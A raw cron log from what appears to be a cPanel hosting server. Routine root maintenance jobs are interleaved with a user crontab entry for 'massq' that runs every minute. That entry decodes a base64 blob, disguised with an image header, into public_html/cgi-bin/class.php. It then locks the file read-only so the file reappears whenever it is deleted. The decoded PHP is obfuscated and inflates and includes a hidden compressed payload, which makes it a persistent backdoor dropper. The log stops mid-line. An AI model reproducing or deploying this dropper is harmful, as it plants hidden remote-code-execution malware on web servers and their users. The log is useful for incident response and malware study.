Aug 31 23:50:01 server CROND[7169]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:50:01 server CROND[7160]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:50:01 server CROND[7165]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:50:01 server CROND[7164]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:50:01 server CROND[7166]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:50:01 server CROND[7171]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:51:01 server CROND[8011]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:51:01 server CROND[8012]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:51:01 server CROND[8013]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:52:01 server CROND[8491]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:52:01 server CROND[8492]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:52:01 server CROND[8493]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:53:01 server CROND[9442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:53:01 server CROND[9445]: (root) CMD (/usr/lib64/sa/sa2 -A)
Aug 31 23:53:01 server CROND[9444]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:53:01 server CROND[9443]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:54:01 server CROND[9843]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:54:01 server CROND[9844]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:54:01 server CROND[9845]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:55:01 server CROND[10272]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:55:01 server CROND[10278]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 23:55:01 server CROND[10279]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:55:01 server CROND[10282]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 23:55:01 server CROND[10285]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 23:55:01 server CROND[10286]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 23:55:01 server CROND[10283]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:56:01 server CROND[11340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:56:01 server CROND[11343]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:56:01 server CROND[11341]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:57:01 server CROND[11848]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 23:57:01 server CROND[11850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:57:01 server CROND[11851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:57:01 server CROND[11849]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:58:01 server CROND[12442]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:58:01 server CROND[12443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:58:01 server CROND[12444]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 23:59:01 server CROND[12878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 23:59:01 server CROND[12879]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 23:59:01 server CROND[12880]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:00:01 server CROND[13422]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  1 00:00:01 server CROND[13425]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  1 00:00:01 server CROND[13430]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  1 00:00:01 server CROND[13443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  1 00:00:01 server CROND[13441]: (root) CMD (/usr/sbin/csf --lfd restart > /dev/null 2>&1)
Sep  1 00:00:01 server CROND[13445]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:00:01 server CROND[13442]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  1 00:00:01 server CROND[13444]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  1 00:00:01 server CROND[13447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  1 00:00:02 server CROND[13448]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 00:00:02 server CROND[13453]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  1 00:01:01 server CROND[14372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 00:01:01 server CROND[14373]: (root) CMD (run-parts /etc/cron.hourly)
Sep  1 00:01:01 server CROND[14374]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwk